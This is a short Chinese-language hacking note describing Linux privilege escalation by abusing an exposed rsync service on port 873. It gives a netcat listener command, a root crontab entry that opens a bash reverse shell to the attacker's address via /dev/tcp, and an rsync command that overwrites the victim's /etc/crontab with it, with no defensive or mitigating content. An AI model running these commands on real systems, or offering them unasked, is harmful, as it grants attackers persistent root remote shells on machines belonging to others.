【笔记】Linux利用rsync覆盖计划任务提权

前言

Linux利用rsync覆盖计划任务提权

攻击者监听反弹Shell

1
nc -lvp <port_local>

受害者反弹Shell

  • 通过rsync连接Linux
1
rsync rsync://<ip_remote>:873/<dir_remote>
  • 定义计划任务

<ip_local>:攻击者IP地址
<ip_port>:攻击者端口号

crontab
1
* * * * * root /bin/bash -i >& /dev/tcp/<ip_local>/<port_local> 0>&1
  • 覆盖计划任务

<ip_remote>:受害者IP地址

1
rsync -av crontab <ip_remote>:/etc/crontab

完成